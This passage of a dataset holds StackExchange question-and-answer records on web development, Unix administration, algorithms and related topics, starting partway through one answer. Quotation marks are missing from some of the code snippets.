first few elements rotated function as cycle leaders. The total complexity of rotation is $O(n_0 + \\cdots + n_w) = O(n)$, since $n_{t+1} < n_t/2$. The total complexity of the inner shuffles is $O(2^{k_0} + \\cdots + 2^{k_w}) = O(n)$.It remains to show how to compute the perfect shuffle when $n=2^k$. In fact, we will be able to identify cycle leaders, following classical work on necklaces (Fredricksen and Maiorana, Necklaces of beads in $k$ colors and $k$-ary de Bruijn sequences; Fredricksen and Kessler, An algorithm for generating necklaces of beads in two colors).What is the connection? I claim that the shuffle permutation corresponds to right shifting of the binary representation. Here is a proof by example, for $n=8$:$$\\begin{array}{cccccccc}000 & 001 & 010 & 011 & 100 & 101 & 110 & 111 \\\\000 & 100 & 001 & 101 & 010 & 110 & 011 & 111\\end{array}$$Therefore, to find cycle leaders, we need to find one representative out of each equivalence class of the rotation of binary strings of length $k$. The papers mentioned above give the following algorithm for generating all cycle leaders. Start with $0^k$. At each step, we are at some point $a_1 \\ldots a_k$. Find the maximal index $i$ of a zero bit, divide $k$ by $i$ to obtain $k = d\\cdot i + r$, and let the following point be $(a_1\\ldots a_{i-1}1)^d a_1\\ldots a_r$. Whenever $r = 0$, the new string is a cycle leader.For example, when $n=16$ this generates the sequence$$\\mathbf{0000}, \\mathbf{0001}, 0010, \\mathbf{0011},\\mathbf{0101}, 0110, \\mathbf{0111}, \\mathbf{1111}.$$The cycle leaders are highlighted."  } 
{  "id": "_webmaster.9271"  , "question": "I have a domain name which has a relevantly top searched keyword in it. I have not used this for over a year but I plan on doing so soon. Where is the best place to put it up for auction or see if anyone would like to buy it? (I am in the UK) and also Is there a way I can generate revenue from this unused domain name because at the moment I'm just paying for the domain name costs."  , "title": "Selling/Generating Revenue from Unused Domain Names"  , "tags": "domains;advertising"  , "accepted_answer": "There are services that you park your domain on their server and you split the revenue with them earned from the ads they place on it. I never used these kinds of services so I can't give a recommendation as to a good one but I'm sure you cn find a bunch with a search or two.To sell a domain see these sites (from this previous answer):Snapnames.comSedo.comGodaddy.com AuctionsAuctionpus.comEbay.comLatonas.comAfternic.comDomainmonkey.comBido.comDomaintools.comGreatdomains.com (Part Of Sedo)Namejet.comSnapnames.comWinyourdomain.comYou can also try to sell it via the specialized forums (incomplete list):dnforum.comnamepros.comdomainforums.com"  } 
{  "id": "_webapps.51513"  , "question": "Lately whenever I send a gmail to others, a unknown yahoo email address (in my name) also accompanies my gmail, such that my friends receive at their end this yahoo email address. Thus when they send a reply message, it is sent to this Yahoo address too.  I am unable to de-activate this Yahoo account as I cannot answer the 2 so-called security answers they require eg what is the nickname of your eldest child. Can you help? Thanks"  , "title": "Why Gmail sent has an unknown Yahoo account accompanying it"  , "tags": "gmail"  } 
{  "id": "_codereview.18771"  , "question": "I have a list of images that are used as links and at the bottom of each image there is another image to show/hide. So far all the images show at the same time because they have the same class.Is there any way to get around that? I don't know how to give them all the unique ID. <div id=nav>    <ul>        <li id=one ><a href=#><img src=mikesfamilyborder.png class=first /><p><img src=mikesfamilybordername.png class=name/></p></a></li>        <li id=two><a href=# ><img src=bradsfamilyborder.png class=first /><p><img src=bradsfamilyname.png class=name/></a></p></li>        <li id=three><a href=# ><img src=brennerfamilyborder.png class=first  /><p><img src=ryanbfamilyname.png class=name/></a></p></li>        <li id=four><a href=# ><img src=ryanfamilyborder.png class=first /><p><img src=ryanlfamilyname.png class=name/></a></p></li>        <li id=five><a href=# ><img src=missydadfamilyborder.png class=first /><p><img src=lackeysname.png class=name/></a></p></li>        <li id=six><a href=# ><img src=libbyfamilyborder.png class=first /><p><img src=libbysname.png class=name/></a></p></li>    </ul>    <p> Click Picture for Family page</p></div>    JavaScript:$('.name').hide();$(.first).hover(function() {    $(.name).stop().show();}, function() {    $(.name).stop().hide();});"  , "title": "Show/hide image in each list individually with same class"  , "tags": "javascript;jquery;html"  , "accepted_answer": "You need to find the .name item that is in the same block of HTML as the one being hovered.  One way to do that is to go up the parent chain from the one begin hovered to get the li tag and then use .find() from thereto find that .name item in that block.  You can use this code to do that:$('.name').hide();$(.first).hover(function() {    $(this).closest(li).find(.name).stop(true).show();}, function() {    $(this).closest(li).find(.name).stop(true).hide();});"  } 
{  "id": "_webapps.93223"  , "question": "I'd like to see the number of my Twitter impressions during some time without taking me into account. Is it possible?"  , "title": "How to make Twitter Analytics don't take me into account?"  , "tags": "twitter"  } 
{  "id": "_softwareengineering.119147"  , "question": "There are many resources on general project management, but are there any specifically for non-technical people for software project management, covering topics such as requirements gathering, use cases and general architecture?"  , "title": "Any good resources for a non-technical guy to learn software project management?"  , "tags": "project management"  } 
{  "id": "_cstheory.17328"  , "question": "The Bentley-Saxe trick allows us to go from a static decomposable problem to a problem admitting insertions, where the insertion time is off the optimal time by a factor of $\\log n$. Is this tight ? Or alternately, is there a more restricted subclass for which you can get insertion time $P(n)/n$ (amortized or worst-case) even if $P(n) = O(n\\log n)$ ? Here, $P(n)$ is the time to compute the result statically. "  , "title": "Optimal insertion times in insertion-only data structures beyond Bentley-Saxe"  , "tags": "ds.data structures;dynamic algorithms"  , "accepted_answer": "Think about your question in reverse: suppose you have a dynamic data structure for some problem  does that imply that you can solve it statically, faster by a log? Why should it? And in fact it is not true.Consider range counting in one-dimensional intervals, in a comparison model of computation. That is, the data is a set $S$ of numbers, the query is an interval $[\\ell,r]$, and the answer to a query is the size of $S\\cap[\\ell,r]$. Statically, you can solve it in $O(\\log n)$ query time by storing $S$ as a sorted array and using binary search, in preprocessing time $P(n)=\\Theta(n\\log n)$. Dynamically, you can still solve it in $O(\\log n)$ query time by using balanced binary search trees, with insertion time $O(\\log n)=O(P(n)/n)$."  } 
{  "id": "_softwareengineering.52515"  , "question": "How do you handle incomplete feature requests, when the ones asking for the feature cannot possibly write a complete request?Consider an imaginary situation. You are a tech lead working on a piece of software that revolves around managing profiles (maybe they're contacts in a CRM-type application, or employees in an HR application), with many operations being directly or indirectly performed on those profiles — edit fields, add comments, attach documents, send e-mail...The higher-ups decide that a lock functionality should be added whereby a profile can be locked to prevent anyone else from doing any operations on it until it's unlocked — this feature would be used by security agents to prevent anyone from touching a profile pending a security audit.Obviously, such a feature interacts with many other existing features related to profiles. For example:Can one add a comment to a locked profile?Can one see e-mails that were sent by the system to the owner of a locked profile?Can one see who recently edited a locked profile?If an e-mail was in the process of being sent when the lock happened, is the e-mail sending canceled, delayed or performed as if nothing happened?If I just changed a profile and click the cancel link on the confirmation, does the lock prevent the cancel or does it still go through?In all of these cases, how do I tell the user that a lock is in place?Depending on the software, there could be hundreds of such interactions, and each interaction requires a decision — is the lock going to apply and if it does, how will it be displayed to the user? And the higher-ups asking for the feature probably only see a small fraction of these, so you will probably have a lot of questions coming up while you are working on the feature.How would you and your team handle this? Would you expect the higher-ups to come up with a complete description of all cases where the lock should apply (and how), and treat all other cases as if the lock did not exist?  Would you try to determine all potential interactions based on existing specifications and code, list them and ask the higher-ups to make a decision on all those where the decision is not obvious? Would you just start working and ask questions as they come up?Would you try to change their minds and settle on a more easily described feature with similar effects?The information about existing features is, as I understand it, in the code — how do you bridge the gap between the decision-makers and that information they cannot access?"  , "title": "Specifying and applying broad changes to a program"  , "tags": "team;features;specifications"  } 
{  "id": "_codereview.27177"  , "question": "I want to implement in my code a cache mechanism with a fixed duration. For example an iframe will be cached for one hour, or a script file will be cached for 24 hours.This is how I implemented it, with a rounded timestamp (simplified code assuming that the url doesn't have any query or hash part):var duration=86400000; // example for 1 day = 86400000 millisecondsurl=url+?_ts=+ getTimeStamp(duration);function getTimeStamp(roundTime) {  var timeStamp=new Date().getTime();  if (roundTime) {timeStamp=Math.floor(timeStamp/roundTime);}  return timeStamp;}My questions:Are there any traps to watch for, or is the above code going to work just fine in all situations (dynamic script tag, iframe, ajax)?Is there a better way to do it, for example with a JavaScript library? "  , "title": "Cache mechanism with duration"  , "tags": "javascript;ajax;cache"  } 
{  "id": "_webmaster.77700"  , "question": "I have a company website for our Internet agency for over 5 years. It holds blog posts, content pages, and our portfolio mainly.One of our biggest competitors, with mainly the same company activities as we have, went bankrupt because it lost 2 of its biggest clients. I bought their domain from the curator, and it's now ours. I don't have their old website.The domain has a lot of relevant incoming links, and a high domain authority. Besides that I can see that it also still has a lot of traffic from people that know the old company and look to render its services.I changed the DNS so it's the same as my website, so:www.example.com/portfolio.html =  www.competitors-example.com/portfolio.htmlAnd I check incoming links to the new domain and redirect them to relevant pages on my site.But is this right? Or should I redirect it to my domain so the address bar says: www.example.com?In short: How do I use the domain so it doesn't hurt but helps my website's SEO?"  , "title": "How can I use a competitor's domain that I purchased?"  , "tags": "seo;domains;redirects"  , "accepted_answer": "I changed the DNS so it's the same as my websiteDoes this mean your website is now displaying on their domain? If so undo this ASAP, as this will create a duplicate of your site, which could have na adverse effect on your sites ranking.You should 301 redirect their domain to your domain. Where possible redirect pages on their site to relevant pages on your site, or to the nearest relevant page.www.competitors-example.com/prices.html301 redirects to www.example.com/our-prices.htmlIf no relevant page exists, 301 redirect the page to the home page.Before doing this though, I would investigate their back links to make sure there are no potentiality bad bad links present, as they could pass over to your domain and cause issues.  As well as your own common sense, there are tools on the market to help identify bad badlinks.  You could then do a link disavow in Google Webmaster Tools, on your domain to exclude any such backlinks.Doing all of the above will pass over most of the SEO authority to your site and will also make sure people land on your site when accessing the old domain."  } 
{  "id": "_unix.220264"  , "question": "I am a newbie in OpenWrt development. I have a problem in my router when I try to upgrade my router (TP-Link TL-WDR-3600) to openwrt firmware via web ui. Now my router is bricked and I can't  connect the router via WebUI (192.168.1.1), putty and WinSCP. I checked the ipconfig command incommand prompt. But the Default gateway is missing.Finally I try to connect via USB to serial cable using putty. But the putty is shown a blank screen for a long time. ( 30 minutes ).I am really hopeless, I think my router is seriously crashed.Could you please suggest any advice?"  , "title": "OpenWrt bricked router is not connected via USB to serial cable"  , "tags": "ssh;putty;openwrt;router;telnet"  } 
{  "id": "_webapps.56578"  , "question": "I have these cells A1 through A7:Mary SusieJaneMarySusieElizabethMaryI want to get the names that do not appear multiple times, so my results should be Jane and Elizabeth. I don not want Susie or Mary because they appeared multiple times.How do I do this?"  , "title": "Find items that are not duplicates"  , "tags": "google spreadsheets"  } 
{  "id": "_webapps.11836"  , "question": "Is there an open source asset management tool for controlling an organization'sassetsconsumables and equipment ?I was checking Asset Manager, it is a commercial windows application but I would prefer a web based application.   "  , "title": "Asset Management web application?"  , "tags": "inventory"  , "accepted_answer": "Should check GLPI  which's a free software webapps for managing IT ressources HTH,"  } 
{  "id": "_cs.72318"  , "question": "As a computer science student I consider is essential to completely understand how a Turing machine is defined.What mathematical knowledge is required in order to understand the formal definition of a Turing Machine, as explained in this Wikipedia link."  , "title": "What is the knowledge required to understand the formal definition of a Turing Machine?"  , "tags": "turing machines"  } 
{  "id": "_unix.149771"  , "question": "When a user process invokes malloc(n), are there any physical pages allocated to the process? I believe No since malloc allocates from the heap. Is this correct?"  , "title": "Malloc and Paging"  , "tags": "virtual memory"  , "accepted_answer": "For Linux, I believe the short answer to your question is usually no physical pages are allocated. This is called memory overcommit and you can find tons of documentation on it. Unix variants have had different policies about actual physical page allocation at malloc-time. 4BSD-based systems traditionally did not overcommit, which in combination with the chill program (can't find a reference) was endless fun. chill allocated and held as much memory as it could. Because SunOS (4.2BSD-based) always allocated physical pages for any malloc(), a mere user could allocate all RAM and cause everyone else to page endlessly.For linux you can find out what your system's policy is: cat /proc/sys/vm/overcommit_memory should give out a 0, 1 or 2 with the meanings heuristic overcommit, always overcommit and never overcommit respectively."  } 
{  "id": "_webmaster.54281"  , "question": "Upon reading over this question is lengthy so allow me to provide a one sentence summary: I need to get Google to de-index URLs that have parameters with certain values appendedI have a website example.com with language translations.There used to be many translations but I deleted them all so that only English (Default) and French options remain.When one selects a language option a parameter is aded to the URL. For example, the home page:https://example.com (default)https://example.com/main?l=fr_FR (French)I added a robots.txt to stop Google from crawling any of the language translations:# robots.txt generated at http://www.mcanerin.comUser-agent: *Disallow: Disallow: /cgi-bin/Disallow: /*?l=So any pages containing ?l= should not be crawled. I checked in GWT using the robots testing tool. It works.But under html improvements the previously crawled language translation URLs remain indexed. The internet says to add a 404 to the header of the removed URLs so the Googles knows to de-index it.I checked to see what my CMS would throw up if I visited one of the URLs that should no longer exist.This URL was listed in GWT under duplicate title tags (One of the reasons I want to scrub up my URLS)https://example.com/reports/view/884?l=vi_VN&l=hy_AMThis URL should not exist - I removed the language translations. The page loads when it should not! I played around. I typed example.com?whatever123It seems that parameters always load as long as everything before the question mark is a real URL.So if Google has indexed all these URLS with parameters how do I remove them? I cannot check if a 404 is being generated because the page always loads because it's a parameter that needs to be de-indexed."  , "title": "De-index URL parameters by value"  , "tags": "google search console;indexing;google index;url parameters"  } 
{  "id": "_codereview.8198"  , "question": "So say I have a method that does a bunch of stuff, and I want to refactor this method to take a different type of parameter:public object A(MyObject a){    // does a bunch of crap with a    // then calls another method    this.B(a);}Now even method B() does a lot of crap with that same Object a. What if I want an endpoint that takes a SecondObject b. What I just did was basically duplicate all the methods and change the parameter type, but now I'm sitting with basically a bunch of duplicate code here. What's the best way to refactor this so that all my methods can take a different set (not just a different type) of parameters and reduce duplicity?Thanks.Edit:Example,private Chatham.Panda.WCF.DataContracts.IInstrument FillHistoricInstrumentRates(            Chatham.Panda.WCF.DataContracts.IInstrument instrument,            Chatham.Enumerations.BidMidAsk valuationPrice,            DateTime rateCutoffDate,            bool loadRates,            FillInstrumentRates recursiveDelegate)        {            if (instrument == null)            {                throw new ArgumentNullException(                    instrument,                    RateAcqusitionService.SetInstrumentHistRates's 'instrument' argument is null);            }            // Compound Instruments            Chatham.Panda.WCF.DataContracts.CompoundInterestRateInstrument compoundInstrument =                instrument as Chatham.Panda.WCF.DataContracts.CompoundInterestRateInstrument;            if (compoundInstrument != null)            {                foreach (Chatham.Panda.WCF.DataContracts.IInstrument i in compoundInstrument.ChildInstruments)                {                    recursiveDelegate(i);                    return compoundInstrument;                }            }            // Simple Instruments            Chatham.Panda.WCF.DataContracts.SimpleInterestRateInstrument simpleInstrument =                instrument as Chatham.Panda.WCF.DataContracts.SimpleInterestRateInstrument;            if (simpleInstrument != null)            {                // Set Rates for each Component                foreach (Chatham.Panda.WCF.DataContracts.Component component in simpleInstrument.Components)                {                    this.FillHistoricComponentRates(                        component,                        valuationPrice,                        rateCutoffDate,                        loadRates                        );                }                return instrument;            }            throw                new NotSupportedException(                    string.Format(                        Instrument with type '{0}' currently not supported,                        instrument.GetType().FullName)                    );        }Now I want to change this method so that it takes a List<ScheduleRow> rows, as well as some other random properties including within the Chatham.Panda.WCF.DataContracts.IInstrument instrument, instead of passing the whole instrument across the wire, but if I just create another method with all this code in it and different parameters, it won't look TOO much different, and have plenty of duplicate code.Then I'd also be doing things like calling:this.FillHistoricComponentRates(                            component,                            valuationPrice,                            rateCutoffDate,                            loadRates                            );With a list of rows instead of the entire component, which leads to THAT method being changed in the same exact fashion, so on and so on..."  , "title": "Refactoring different type of param to reduce duplicate code"  , "tags": "c#;.net"  } 
{  "id": "_codereview.109278"  , "question": "I attempted this problem from the ieeextreme, and I got timeout for just over 40% of the cases. Now that the competition is over, I was wondering what could be improved.The problem is as follows:Given a grid of size R, C1 <= r <= 12, 1 <= c <= 10^6Apply one of 3 commands 'a', 'r', or 'q''a', x1, y1, x2, y2: add one to each element of the subgrid formed by the co-ordinates given'r', x1, y1, x2, y2: remove one from each element of the subgrid formed by the co-ordinates given'q', x1, y1, x2, y2: output the sum of the elements in the subgrid formed by the co-ordinates givenI gave a naive solution as seen below, where I simulated the grid with a 2d array, and applied each operation as it came. I also tried to implement an array of fenwick trees, but that solution gave more timeouts, so I believe there are a lot more add and remove commands than query.Code:#include <cmath>#include <cstdio>#include <vector>#include <iostream>#include <algorithm>using namespace std;void inp(int &n)  {    n = 0;    int ch = getchar_unlocked();    while(ch < '0' || ch > '9')    {        ch = getchar_unlocked();    }    while(ch >= '0' && ch <= '9')    {        n = (n<<3)+(n<<1) + ch-'0', ch=getchar_unlocked();    }  }  int grid[13][1000001];int main() {    int R, C;    inp(R);    inp(C);    for(int i = 0; i < R; ++i) {        for(int j = 0; j < C; ++j) {            grid[i][j] = 0;        }    }    int Q;    inp(Q);    while(Q--) {        char o;        int x1, y1, x2, y2;        cin >> o;        inp(x1);        inp(y1);        inp(x2);        inp(y2);        if(o == 'a') {            for(int i = x1; i <= x2; ++i) {                for(int j = y1; j <= y2; ++j) {                    ++grid[i][j];                }            }        } else if(o == 'r') {            for(int i = x1; i <= x2; ++i) {                for(int j = y1; j <= y2; ++j) {                    --grid[i][j];                }            }        } else {            int count = 0;            for(int i = x1; i <= x2; ++i) {                for(int j = y1; j <= y2; ++j) {                    count += grid[i][j];                }            }            cout << count << endl;        }    }    return 0;}EDIT: This is the solution with the fenwick tree, which gave more timeouts#include <cmath>#include <cstdio>#include <vector>#include <iostream>#include <algorithm>using namespace std;#define LSOne(S) (S & (-S))int ft[13][1000003];int size = 1000003;int sum(int i, int b) {    int sum = 0;    for (; b; b -= LSOne(b)) sum += ft[i][b];    return sum;}int sum(int i, int a, int b) {    return sum(i, b) - (a == 1 ? 0 : sum(i, a - 1));}void update(int i, int k, int v) {    for (; k <= size; k += LSOne(k)) ft[i][k] += v;}void inp( int &n )  {    n=0;    int ch=getchar_unlocked();;    while( ch < '0' || ch > '9' ){        ch=getchar_unlocked();    }    while(  ch >= '0' && ch <= '9' )        n = (n<<3)+(n<<1) + ch-'0', ch=getchar_unlocked();  }  int main() {    int R, C;    inp(R);    inp(C);    size = C;    int Q;    inp(Q);    while(Q--) {        char o;        int x1, y1, x2, y2;        cin >> o;        inp(x1);        inp(y1);        inp(x2);        inp(y2);        if(o == 'a') {            for(int i = x1; i <= x2; ++i) {                for(int j = y1; j <= y2; ++j) {                    update(i, j, 1);                }            }        } else if(o == 'r') {            for(int i = x1; i <= x2; ++i) {                for(int j = y1; j <= y2; ++j) {                    update(i, j, -1);                }            }        } else {            int count = 0;            for(int i = x1; i <= x2; ++i) {                count += sum(i, y1, y2);            }            cout << count << endl;        }    }    return 0;}"  , "title": "Block Art - IEEEXtreme 9.0"  , "tags": "c++;programming challenge;time limit exceeded"  , "accepted_answer": "Fenwick treesIt's too bad you didn't print your Fenwick tree solution, because there was probably something wrong with it if it gave your more timeouts than the brute force solution that you provided.Assuming you had an array of 12 Fenwick trees (because the rows are limited to 12), each add/remove operation should only take up to \\$O(r \\log c)\\$ time, compared to \\$O(r*c)\\$ time of the brute force solution.  Each query should take also take \\$(r \\log c)\\$ time instead of \\$O(r*c)\\$ time.2-d Fenwick treeThere also exists a 2-d version of the fenwick tree, which is perfectly suited to this problem.  It should be slightly faster at \\$O(\\log r * \\log c)\\$ time.  Here is a sample implementation of a 2-d Fenwick tree.  However, since r in your case is 12, it's unclear whether this would actually be faster than the array of Fenwick trees or not.Edit: Comments on your 2nd solutionYou didn't implement the Fenwick tree correctly.  When you updated it, you did this:    if(o == 'a') {        for(int i = x1; i <= x2; ++i) {            for(int j = y1; j <= y2; ++j) {                update(i, j, 1);            }        }    }What it should have looked like is this:    if(o == 'a') {        for(int i = x1; i <= x2; ++i) {            update(i, y1,    1);            update(i, y2+1, -1);        }    }Notice the lack of a loop across the y values.  The same thing applies to the remove operation."  } 
{  "id": "_unix.115212"  , "question": "I am configuring an openvpn server on a new centos 6.5. But the main problem is that selinux is blocking openvpn to use the default port tcp 1194.The following is the sealert -a /var/log/audit/audit.logSELinux is preventing /usr/sbin/openvpn from name_bind access on the tcp_socket .***** Plugin bind_ports (92.2 confidence) suggerisce  ************************Se you want to allow /usr/sbin/openvpn to bind to network port 7505Quindi you need to modify the port type.Fai# semanage port -a -t TIPO_PORTA -p tcp 7505dove TIPO_PORTA  una delle seguenti: openvpn_port_t, http_port_t.I am sorry, as u see the sealert is translated in italian. Anyway should I follow the advice like this:# semanage port -a -t vpn -p udp 1194or there are other more clean way to open the openvpn default port ?"  , "title": "SELinux is preventing /usr/sbin/openvpn from name_bind access on the tcp_socket"  , "tags": "centos;selinux;openvpn"  , "accepted_answer": "That's actually the best error message I've seen. It tells you exactly what's wrong and how to fix it. I don't see any kind of problem if you really want to allow openvpn use port 1194.BTW, to make errors in english you can use LANG=C before the commands (not sure if you can with auth.log)."  } 
{  "id": "_unix.167339"  , "question": "I have a buildroot package that I need to build. When I issue the 'make' command, it runs until it errors out with lutimes undeclared. After lengthy research, it appears that uClibc needs to be patched to include the definition of lutimes before my build will complete.I found this patch, but being new to Linux, I do not know how to apply it:ucLibc Mailing List Archive - June 2010, Post 44113Can anyone help me properly apply this patch ? I'm very new to Linux and I've never applied a patch before."  , "title": "Applying patch to the uClibc"  , "tags": "compiling;patch;buildroot"  , "accepted_answer": "Have in mind that Patches are per source code revision, and after 4 years of changes in the source code, this patch may be outdated and may need recreation from scratch.First thing you should do is check the official documentation.http://buildroot.uclibc.org/downloads/manual/manual.html#_providing_patchesYou should pay attention to the following two categories:17.1.2. Within Buildrootand17.2. How patches are appliedGive it a try and let us know if you face any issues"  } 
{  "id": "_unix.245037"  , "question": "I created a systemd file unit (Centos 7) and I wanted to save the Python output to a file but the service won't start with the below code.[root@static ~]# cat /etc/systemd/system/pykms.service[Unit]Description=PY-KMSAfter=network.target[Service]Type=simpleUser=rootExecStart=/usr/bin/python2.7 /usr/local/py-kms-master/server.py 192.168.1.100 1688 -v > /usr/local/py-kms-master/pykmsss.log[Install]WantedBy=multi-user.targetNOTE: if I delete the line after > above, then everything works fine but I want to save the logs to a file.systemctl status pykms -l [root@static ~]# systemctl status pykms -lpykms.service - PY-KMS   Loaded: loaded (/etc/systemd/system/pykms.service; enabled)   Active: active (running) since Tue 2015-11-24 20:54:28 IRST; 2s ago Main PID: 2788 (server.py)   CGroup: /system.slice/pykms.service           2788 /usr/bin/python2.7 /usr/local/py-kms-master/server.py 192.168.1.100 1688 -vNov 24 20:54:28 server.de systemd[1]: Starting PY-KMS...Nov 24 20:54:28 -server.de systemd[1]: Started PY-KMS."  , "title": "Saving process output to a file in systemd unit file"  , "tags": "linux;centos;files;python;systemd"  } 
{  "id": "_codereview.85149"  , "question": "I am wanting to encrypt a password and decrypt a password using PHP. Is this a safe method?$pass = password//encrypt password$salt = strtr(base64_encode(mcrypt_create_iv(16, MCRYPT_DEV_URANDOM)), '+', '.');$salt = sprintf($2a$%02d$, 10) . $salt;$hash = crypt($pass, $salt);//decryption in second programif(crypt($pass, $hash) == $hash){    echo you are in;}"  , "title": "Encrypting and decrypting passwords in PHP"  , "tags": "php;cryptography;authentication;hashcode"  , "accepted_answer": "As KIKO Software and the documentation for crypt said, password_hash() is encouraged. It's safer (it applies multiple rounds of hashing, thus increasing the time it takes to decrypt the hash), and it will manage salts for you, which means that your code will be simpler. If for some reason you do not want to use password_hash, note the warning from the crypt documentation:Warning When validating passwords, a string comparison function that  isn't vulnerable to timing attacks should be usedYou are not doing that, you are just using ==. hash_equals would be one such timing safe function."  } 
{  "id": "_unix.330125"  , "question": "I was following this instruction on this site to installing tesseract: https://github.com/tesseract-ocr/tesseract/wiki/Compilinggit clone https://github.com/tesseract-ocr/tesseract.gitcd tesseract./autogen.sh./configuremakesudo make installsudo ldconfigBut there is a problem in the last line and I got this error messages when I tried ldconfig:/sbin/ldconfig.real: /usr/local/lib is not a known library type/sbin/ldconfig.real: /usr/local/lib/pkgconfig is not a known library typeWhat's that error meaning and how can I fix it?This is the content of /etc/ld.so.conf.d/libc.conf :# libc default configuration/usr/local/lib"  , "title": "/sbin/ldconfig.real: /usr/local/lib is not a known library type"  , "tags": "configuration;shared library;error handling"  } 
{  "id": "_webmaster.56663"  , "question": "We currently use Schema.org for our rich snippets in Google. I want to add Open Graph along with that, so other social signals will recognize our site better. If I add OG to our existing schema, will that have any effect on our current rich snippets?"  , "title": "Schema.org & Open Graph"  , "tags": "seo;google search;rich snippets;open graph protocol;schema.org"  , "accepted_answer": "Open Graph data is completely separate from structured data. There are so many sites using both the features without any issue. Here is a link from a Moz community question just like a one you asked. "  } 
{  "id": "_webapps.81177"  , "question": "I want to replace Mailbox with something similar in pure Gmail. But I miss the way Mailbox shows the conversation count next to each folder.Is there a way to do this for Gmail?"  , "title": "Make Gmail show conversation count?"  , "tags": "gmail"  } 
{  "id": "_scicomp.2421"  , "question": "As an assignment in college, I did a 1d simulation.The problem statement was to solve 1d shock tube problem involving compressible ideal gas as working fluid.For this problem, I solved system of Eulers equations using Roe's Riemann solver.I want to know, to solve the Euler's equations in 2 or 3 dimensions, where should I start?Which is the test problem, i should consider first?(Please don't suggest commercial solvers. I want to write my own code)just I need some help in writing my own code.What are the good resources that introduce 2d problem in the most practical way?"  , "title": "Euler equations in 2d"  , "tags": "numerics;fluid dynamics"  } 
{  "id": "_softwareengineering.180996"  , "question": "I have an open source project that uploads files to DropBox among several file hosts. Right now I am screen scraping for DropBox. To use their API, I have to hardcode a SECRET KEY provided by them to me for OAuth authentication. But I'm afraid that the key won't be secret if it is visible plainly for anyone to see.It is 'possible' for someone malicious to use my key to upload a virus to a user's account (who already allowed access to my app) that will spread to their pc (if they had desktop sync enabled) and to others' pc (if they had shared folders) and so on. :OI found this unanswered question that has the same problem as mine.But I would like to know generally how one would hide confidential data in an open source project.I have one idea.Have a placeholder in the source code like <SECRET KEY HERE> and fill it only when building binary for release? (yuck!)Any decent idea?"  , "title": "How can I hide confidential data in my open source project?"  , "tags": "open source"  } 
{  "id": "_reverseengineering.15756"  , "question": "For example I have eax 7c9100a4 -> ntdll.RtlCreateHeapI can get reg value in my plugin but I can't get the api nameHow can get the correct api name from the address?"  , "title": "How to get API name from address in registry value in IDA plugin"  , "tags": "ida;idapro plugins"  , "accepted_answer": "NameEx(BADADDR, GetRegValue(EAX))"  } 
{  "id": "_unix.333791"  , "question": "I am unable to use the morse utility, both in GUI and non-GUI terminal:# echo word | morseCould not initialize audio: Connection refusedCan't access speaker.Why do I have this error and how to use morse with alsamixer?From /usr/share/doc/morse/README:Currently supported devices: X11:    The X11 window system. (Warning: not all X11 implementations handle         duration and frequency of beeps properly!) Linux:  The IBM PC console speaker. OSS:    Open Sound System /dev/dsp device.  Also works with the newer          ALSA Linux sound system using the legacy OSS device. PA:     PulseAudio using the pulse-simple client API. ALSA:   ALSA Linux sound system /dev/snd/* device."  , "title": "Cannot use morse: Could not initialize audio"  , "tags": "audio;alsa"  } 
{  "id": "_unix.3947"  , "question": "I want to duplicate a directory on an FTP server I'm connected to from my Mac via the command-lineLet's say I have file. I want to have files2 with all of file's subdirectories and files, in the same directory as the original. What would be the simplest way to achieve this?(Im a complete newbie to the UNIX command line, so sorry if the question is not clear enough; please ask for any clarification needed.)EDIT:With mget and mput you could download all files and upload them again into a different folder but this is definitely NOT what i want/need (I started this question trying to avoid duplicating with this download upload method from the dektop client)"  , "title": "Easiest way to duplicate directory over FTP"  , "tags": "file transfer;ftp;remote;file copy"  , "accepted_answer": "What you have is not a unix command line, what you have is an FTP session. FTP is designed primarily to upload and download files, it's not designed for general file management, and it doesn't let you run arbitrary commands on the server. In particular, as far as I know, there is no way to trigger a file copy on the server: all you can do is download the file then upload it under a different name.Some servers support extensions to the FTP protocol, and it's remotely possible that one of these extensions lets you copy remote files. Try help site or remotehelp to see what extensions the server supports.If you want a unix command line, you need remote shell access, via rsh (remote shell) or more commonly in the 21st century ssh (secure shell). If this is a web host, check if it provides ssh access. Otherwise, contact the system administrator. But don't be surprised if the answer is no: command line access would be a security breach in some multi-user setups, so there may be a legitimate reason why it's not offered."  } 
{  "id": "_unix.275914"  , "question": "Creating AD 2003 domain using Samba-4.3.4 with internal DNS. ISC-DHCP as a server. On Debian.DNS updates comes only from DHCP-server.What tool do I have to use to clear old DNS records, or what mechanizm is used to detect and (maybe) automatically clear such records? "  , "title": "Samba4 DNS - clear old DNS records"  , "tags": "debian;dns;isc dhcpd;samba4"  } 
{  "id": "_unix.102237"  , "question": "Is there a good alternative (free software) for Crashplan for UNIX desktops?There is a plethora of backup systems out there, but there doesn't seem to be one that rivals with Crashplan.The specifications are:continuous, seemless backupintuitive desktop user interfacebackups to remote servers (aka the cloud), local hard drives, friendsincremental backupsencryption for remotesoptionally: go back in timeSimilar questions:Easy incremental backups to an external drive - no desktop interface, no remote servereasy rsync solution with file manager (thunar or nautilus or) - simply a workaroundComparison of backup tools - on askubuntu.com"  , "title": "crashplan desktop alternative?"  , "tags": "backup;free software"  , "accepted_answer": "I do not know of any free software continuous backup solution. An interesting design was written up by liw which seems to correspond to what you are looking for, but that design has yet to be implemented.Nevertheless, here are what are the interesting free software backup alternatives right now.Dej dup is a frontend for duplicity so it supports incremental and encrypted backups. It can also keep previous backups. It has some remote servers options and integrates well with the desktop.Obnam is quite interesting and seems to fulfill all requirements but the desktop support.Bup and Attic are also interesting alternatives, both of which are really high performance (so that you can run backups frequently, although not continuously) but only Bup have some (third-party) GUI. Note that Attic is an abandoned project, with a more active fork called Borg and Bup is self described as 'very early version'.Timevault is one alternative, but it has been unmaintained for a while, and backups only on local filesystems.Back in time is an alternative that seems to be more maintained but has similar limitations.Flyback is yet another alternative.git-annex, while not a complete backup solution, is a nice solution for large file collections, and seemlessly integrates with git, rsync and other tools. It can easily track multiple copies and make sure that you have more than N (configurable) copies of your data. The downside is that the UI is limited and it will fail backing up certain files, like .git directories, ironically enough.camlistore is similar to git-annex, but is mostly aimed at developers at the time of writing."  } 
